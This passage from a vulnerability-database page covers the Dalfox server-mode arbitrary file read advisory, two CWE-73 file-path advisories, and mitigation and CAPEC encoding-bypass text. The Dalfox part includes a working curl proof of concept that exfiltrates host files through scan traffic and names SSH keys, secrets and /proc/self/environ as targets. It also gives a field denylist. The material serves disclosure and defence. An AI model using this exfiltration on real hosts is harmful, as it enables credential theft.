self.send_response(200)\n self.send_header(\u0027Content-Type\u0027, \u0027text/html\u0027)\n self.send_header(\u0027Content-Length\u0027, str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n def log_message(self, *a): pass\nHTTPServer((\u0027127.0.0.1\u0027, 18081), H).serve_forever()\nPY\n\n# Step 2 \u2014 Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 \u2014 Exfiltrate /etc/hostname (or any file readable by the dalfox process)\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\n \"url\": \"http://127.0.0.1:18081/?q=test\",\n \"options\": {\n \"custom-payload-file\": \"/etc/hostname\",\n \"only-custom-payload\": true,\n \"skip-discovery\": true,\n \"param\": [\"q\"],\n \"use-headless\": false,\n \"worker\": 1\n }\n }\u0027\n\n# Expected output on the receiver (Step 1 terminal):\n# [RECEIVED] q = myhostname.local\n\n# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request\n```\n\nNo `X-API-KEY` header is required. Replace `/etc/hostname` with any file path accessible to the dalfox process (e.g., `~/.ssh/id_rsa`, `/run/secrets/db_password`, `/proc/self/environ`).\n\n## Impact\n\n- **Arbitrary file read** on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, `.env` files, cloud credential files, `/proc/self/environ`) can be exfiltrated one line at a time.\n- **No authentication required** under the default configuration.\n- The exfiltration channel is the dalfox host\u0027s own outbound HTTP scan traffic \u2014 no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.\n- Combined with the `found-action` RCE finding (separate issue), an attacker could first read `/proc/self/environ` to harvest secrets, then execute commands.\n\n## Recommended Remediation\n\n### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)\n\nApply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:\n\n```go\n// pkg/server/server.go \u2014 in postScanHandler, before ScanFromAPI:\nrq.Options.CustomPayloadFile = \"\"\nrq.Options.CustomBlindXSSPayloadFile = \"\"\nrq.Options.FoundAction = \"\"\nrq.Options.FoundActionShell = \"\"\nrq.Options.OutputFile = \"\"\nrq.Options.HarFilePath = \"\"\n```\n\n### Option 2: Require `--api-key` at server startup\n\nMake authentication mandatory and refuse to start without it:\n\n```go\n// cmd/server.go \u2014 in runServerCmd:\nif serverType == \"rest\" \u0026\u0026 apiKey == \"\" {\n fmt.Fprintln(os.Stderr, \"ERROR: --api-key is required when running in REST server mode.\")\n os.Exit(1)\n}\n```\n\nBoth options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.\n\n##Credit\n\nEmmanuel David\n\nGithub:- https://github.com/drmingler",
"id": "GHSA-35wr-x7v6-9fv2",
"modified": "2026-06-08T23:50:09Z",
"published": "2026-05-12T15:08:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-35wr-x7v6-9fv2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45088"
},
{
"type": "PACKAGE",
"url": "https://github.com/hahwul/dalfox"
},
{
"type": "WEB",
"url": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dalfox Server Mode has an Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file`"
}
GHSA-3754-C64R-8C26
Vulnerability from github – Published: 2026-03-21 06:30 – Updated: 2026-03-21 06:30The Task Manager plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 3.0.2 via the callback_get_text_from_url() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2026-2351"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-21T04:16:58Z",
"severity": "MODERATE"
},
"details": "The Task Manager plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 3.0.2 via the callback_get_text_from_url() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.",
"id": "GHSA-3754-c64r-8c26",
"modified": "2026-03-21T06:30:24Z",
"published": "2026-03-21T06:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2351"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/task-manager/tags/3.0.2/module/import/action/class-import-action.php#L203"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/task-manager/trunk/module/import/action/class-import-action.php#L203"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/task-manager"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cd959968-d3f0-4546-8fc6-eb451b417f0d?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3CH5-8236-6HMM
Vulnerability from github – Published: 2024-09-25 03:30 – Updated: 2026-06-02 09:36External Control of File Name or Path, : Incorrect Permission Assignment for Critical Resource vulnerability in Olgu Computer Systems e-Belediye allows Manipulating Web Input to File System Calls.This issue affects e-Belediye: before 2.0.642.
{
"affected": [],
"aliases": [
"CVE-2024-9142"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-25T01:15:49Z",
"severity": "CRITICAL"
},
"details": "External Control of File Name or Path, : Incorrect Permission Assignment for Critical Resource vulnerability in Olgu Computer Systems e-Belediye allows Manipulating Web Input to File System Calls.This issue affects e-Belediye: before 2.0.642.",
"id": "GHSA-3ch5-8236-6hmm",
"modified": "2026-06-02T09:36:12Z",
"published": "2024-09-25T03:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9142"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-1527"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-24-1527"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.